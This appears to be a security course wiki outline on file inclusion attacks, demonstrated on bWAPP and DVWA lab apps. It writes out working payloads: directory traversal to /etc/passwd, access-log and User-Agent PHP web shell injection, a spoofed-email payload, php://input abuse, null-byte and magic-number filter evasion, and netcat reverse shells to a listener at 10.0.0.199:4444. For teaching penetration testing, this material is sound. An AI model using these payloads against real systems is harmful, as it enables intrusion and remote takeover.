App Vulnerabilities: File Inclusions - Paiet/SEC-335 GitHub Wiki
- File inclusion
- What is file inclusion?
- Calling on a file for info from a local or remote source
- How do you test for it?
- Vulnerability Scanners
- Manual testing
- Look for files being called by the web app
- In the URL
file=file1.php&...
file=http://victim.com/resource.php&...
- In the URL
- Look for files being called by the web app
- Remote
- Calls a file from a remote server
- Test by modifying URL to reach out to attack server for file
- Payload =
/root/Tools/test
- Payload =
- Test by modifying URL to reach out to attack server for file
- We can redirect to Attack Server for malicious payload
- DEMO: bWAPP File Inclusion (RFI)
- Payload =
/root/Tools/netkat.php
- Payload =
- DEMO: bWAPP File Inclusion (RFI)
- Calls a file from a remote server
- Local
- Uses files from target's local server
- Test by trying to read
/etc/passwd
- Sometimes you will need to try dir traversal
- Explain Directory Traversal
- Improper configuration
../../../../../../../../etc/passwd
- Improper configuration
- Explain Directory Traversal
- Sometimes you will need to try dir traversal
- Test by trying to read
- Uses files from target's local server
- What is file inclusion?
- Attack methodology
- Manipulate commonly accessible files
/var/log/apache2/access.log
- Works only if web user has read permission to this file
-
Use netcat to create bogus GET request
-
nc -nv 10.0.0.175 80 GET /<?php system($_GET['cmd']); ?> <PRESS ENTER UNTIL YOU SEE RETURN OUTPUT>
-
-
Use file inclusion to access log file with payload
-
file=/var/log/apache2/access.log&cmd=nc -nv 10.0.0.199 4444 -e /bin/bash
- Check listener for connection
-
-
/proc/self/environ
- Older vector, so may be locked down as well
- Works with DVWA :)
- Use
environ
file to see output- Notice USER_AGENT
- We can modify that with Burp
- Change User Agent to...
<?php system("nc -nv 10.0.0.199 4444 -e /bin/bash");?>
- Change User Agent to...
- We can modify that with Burp
- Notice USER_AGENT
- Use
- Works with DVWA :)
- Exploit email
-
Telnet into mail server on port 25
-
Spoof email from root to www-data
-
Add payload to the body of the email +
EHLO HELO MAIL FROM:<root> RCPT TO:<www-data> DATA <?php system("nc -nv 10.0.0.199 4444 -e /bin/bash"); ?> . QUIT
-
Include
/var/spool/mail/www-data
and check listener
- File upload utility
- Take advantage of any file upload utils the web app provides
- Then just use your uploaded payload file in the include
- File type filter
- Use Magic Number to evade file-type filter
- GIF98 or GIF98a
- Use Magic Number to evade file-type filter
- File type filter
- Then just use your uploaded payload file in the include
- Filter/Blacklist evasion
- Add NULL operator to end of included file payload
-
%00
or%2500
- This stops the processing of any chars after NULL
-
- PHP Filters
-
php://
- Straight php filter
file=php://filter/resource=/etc/passwd
- Base64 encoding/decoding
file=php://filter/convert.base64-encode/resource=/etc/passwd
- php input
-
file=php://input&cmd=nc -nv 10.0.0.199 4444 -e /bin/bash
- Intercept with Burp
- Add reverse shell to bottom of POST request
-
<?php echo shell_exec($_GET['cmd']);?>
- Check listener for shell
-
- Add reverse shell to bottom of POST request
- Intercept with Burp
-
- Straight php filter
-
- Add NULL operator to end of included file payload
- Manipulate commonly accessible files